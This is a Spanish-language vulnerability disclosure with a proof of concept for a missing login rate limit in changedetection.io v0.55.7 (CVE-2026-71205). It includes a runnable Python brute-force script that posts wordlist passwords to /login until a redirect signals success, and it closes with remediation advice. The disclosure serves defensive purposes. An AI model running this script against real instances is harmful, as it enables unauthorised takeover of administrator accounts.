
PoC: fuerza bruta de inicio de sesión ilimitada en changedetection.io, sin limitación de velocidad (CVE-2026-71205, Media 6.5)
Producto: dgtlmoon/changedetection.io — v0.55.7
Archivo: changedetectionio/flask_app.py
CWE: CWE-307 — Restricción inadecuada de intentos de autenticación excesivos
CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N — 6.5 (Media)
CNA: Turan Security · Registro CVE
La ruta /login de changedetection.io compara la contraseña enviada con un único hash
PBKDF2-HMAC-SHA256 sin límite de velocidad por IP o por sesión, contador de intentos fallidos
o bloqueo. No hay ninguna biblioteca de limitación de velocidad en requirements.txt.
Un atacante puede intentar adivinar contraseñas ilimitadamente contra el inicio de sesión de un único administrador sin limitación, lo que permite ataques de fuerza bruta en línea o de relleno de credenciales contra la única cuenta de la instancia sin más coste que los viajes de ida y vuelta de red.
import requests
import itertools
import sys
target = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:5000"
wordlist = sys.argv[2] if len(sys.argv) > 2 else "passwords.txt"
session = requests.Session()
with open(wordlist) as f:
for line_no, password in enumerate(f, 1):
password = password.strip()
resp = session.post(
f"{target}/login",
data={"password": password},
allow_redirects=False,
timeout=10,
)
# No lockout, no rate-limit headers, no CAPTCHA at any attempt count.
status = "SUCCESS" if resp.status_code in (302, 303) else "fail"
print(f"[{line_no}] {password!r}: {status} (HTTP {resp.status_code})")
if status == "SUCCESS":
print(f"[+] Valid password found: {password}")
break
Ejecútelo contra una instancia con cualquier lista de contraseñas: ningún número de intentos activa un bloqueo, CAPTCHA o un retraso creciente en ningún momento de la ejecución.
El controlador de inicio de sesión realiza una comparación directa de hash sin estado de seguimiento de intentos (por IP, por sesión o global) y no hay middleware/biblioteca de limitación de velocidad instalado.
Añada una biblioteca de limitación de velocidad (p. ej. Flask-Limiter) a /login, con un contador de intentos fallidos
y retroceso exponencial o bloqueo temporal por IP/sesión de origen.